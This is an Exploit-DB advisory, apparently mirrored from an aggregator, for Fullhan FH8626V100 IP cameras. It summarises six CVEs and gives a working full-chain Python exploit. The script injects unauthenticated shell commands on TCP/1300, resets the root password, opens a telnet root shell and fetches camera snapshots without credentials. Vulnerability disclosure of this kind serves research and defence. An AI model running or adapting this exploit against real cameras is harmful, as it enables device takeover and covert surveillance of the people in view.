[hardware] Fullhan FH8626V100 - Multiple Vulnerabilities
# Exploit Title: Fullhan FH8626V100 - Multiple Vu 2026-9-2 00:0:0 Author: www.exploit-db.com(查看原文) 阅读量:2 收藏

# Exploit Title: Fullhan FH8626V100 - Multiple Vulnerabilities 
# Date: 31-03-2026
# Exploit Author: Amir Aliu
# Vendor Homepage: https://www.fullhan.com/
# Software Link: N/A - OEM/whitelabel IP camera module, rebranded under numerous vendor/brand names
# Version: Firmware v201222.1007 (Device Model AJL30PG0803)
# Tested on: FH8626V100 SoC (Fullhan FH86xx family), AJL30PG0803 device, BusyBox v1.19.3, embedded Linux (ARM)
# CVE: CVE-2026-51402, CVE-2026-51403, CVE-2026-51404, CVE-2026-51405, CVE-2026-51406, CVE-2026-51407
# Blog: https://amiraliu.vercel.app/blog/breaking-into-my-own-camera
# Source: https://github.com/amiraliuks/ip-camera-research

# Summary

A range of rebranded IP cameras built on the Fullhan FH8626V100 SoC and shipped with the "CareCam Pro" app expose a chain of vulnerabilities that lead to full device compromise.

- CVE-2026-51402: TCP/1300 accepts <SYSTEM>...</SYSTEM>-wrapped shell commands with no authentication (blind OS command injection, CWE-78).
- CVE-2026-51403: The PSIA HTTP API (/PSIA/*) allows unauthenticated read/write access to device and network configuration (CWE-306/CWE-284).
- CVE-2026-51404: An unauthenticated JPEG snapshot is served on TCP/6688 (CWE-200).
- CVE-2026-51405: BusyBox telnetd is enabled by default via inetd, exposing a root shell to anyone holding valid credentials (CWE-287).
- CVE-2026-51406: /PSIA/Security/AAA/users discloses the admin username and password in plaintext with no authentication (CWE-522).
- CVE-2026-51407: Once shell access is obtained, /app/userdata/ifcfg.wlan0 stores the configured Wi-Fi SSID/password in plaintext (CWE-319).

# Exploitation Chain

The command injection (CVE-2026-51402) is used to reset the root password, which is then used to authenticate to the always-on Telnet service (CVE-2026-51405), yielding a full root shell with no valid credentials required at any point.

# Proof of Concept (PoC) [Full Chain]

import socket
import requests
import sys
import os
 
TARGET = None
NEW_PASSWORD = "root"
 
# Helpers
def send_system(cmd, port):
    """Send <SYSTEM> command to target"""
    payload = f"<SYSTEM>{cmd}</SYSTEM>"
    try:
        with socket.socket() as s:
            s.settimeout(3)
            s.connect((TARGET, port))
            s.send(payload.encode())
            data = s.recv(1024).decode()
            return data
    except Exception:
        return None
 
def check_port(port):
    """Simple TCP check"""
    try:
        with socket.socket() as s:
            s.settimeout(2)
            s.connect((TARGET, port))
            return True
    except:
        return False
 
# Checks
def check_rce(port):
    print(f"[.] Checking RCE on port {port}...")
    res = send_system("ls", port)
 
    if res and "<SYSTEM_ACK>ok</SYSTEM_ACK>" in res:
        print(f"[+] RCE available on port {port}")
        return True
    else:
        print(f"[-] Port {port} not vulnerable")
        return False
 
def check_telnet():
    print("[.] Checking telnet (port 23)...")
    if check_port(23):
        print("[+] Telnet is open")
        return True
    else:
        print("[-] Telnet is closed")
        return False
 
def get_snapshot(save=False):
    print("[.] Fetching snapshot...")
    try:
        r = requests.get(f"http://{TARGET}:6688/snapshot.jpg", timeout=5)
 
        if r.status_code == 200:
            if save:
                with open("snapshot.jpg", "wb") as f:
                    f.write(r.content)
                print("[+] snapshot.jpg saved")
 
            return r.content
        else:
            print("[-] Failed to get snapshot")
            return None
 
    except Exception:
        print("[-] Request failed")
        return None
 
def show_snapshot():
    data = get_snapshot(save=False)
 
    if not data:
        return
 
    tmp_file = "/tmp/snapshot.jpg"
    with open(tmp_file, "wb") as f:
        f.write(data)
 
    print("[+] Opening snapshot...")
    os.system(f"xdg-open {tmp_file}")
 
# Exploit
def reset_root_password():
    print("[+] Changing root password...")
    res = send_system(f'echo "root:{NEW_PASSWORD}" | chpasswd', 1300)
 
    print(f"[+] Response: {res}")
 
    if res and "<SYSTEM_ACK>ok</SYSTEM_ACK>" in res:
        print(f"[+] Login -> user: root | pass: {NEW_PASSWORD}")
        return True
    return False
 
def open_telnet():
    print("[.] Opening telnet session...")
    os.system(f"telnet {TARGET}")
 
# Main
def usage():
    print("Usage:")
    print("  python exploit.py check <IP> [new_password]")
    print("  python exploit.py snapshot <IP>")
 
if __name__ == "__main__":
 
    if len(sys.argv) < 2:
        usage()
        sys.exit(1)
 
    mode = sys.argv[1]
 
    if mode == "check":
        if len(sys.argv) < 3:
            usage()
            sys.exit(1)
 
        TARGET = sys.argv[2]
 
        if len(sys.argv) >= 4:
            NEW_PASSWORD = sys.argv[3]
 
        rce_1300 = check_rce(1300)
        rce_843 = check_rce(843)
        telnet = check_telnet()
 
        # snapshot behavior like original script
        snapshot = get_snapshot(save=True)
 
        if snapshot:
            choice = input("[?] View snapshot? (y/n): ").strip().lower()
            if choice == "y":
                os.system("xdg-open snapshot.jpg")
 
            choice = input("[?] Keep snapshot file? (y/n): ").strip().lower()
            if choice != "y":
                os.remove("snapshot.jpg")
 
        # Optional shell
        if rce_1300 and telnet:
            choice = input("[?] Get shell? (y/n): ").strip().lower()
 
            if choice == "y":
                if reset_root_password():
                    open_telnet()
 
    elif mode == "snapshot":
        if len(sys.argv) < 3:
            usage()
            sys.exit(1)
 
        TARGET = sys.argv[2]
        show_snapshot()
 
    else:
        usage()
            

文章来源: https://www.exploit-db.com/exploits/52674
如有侵权请联系:admin#unsafe.sh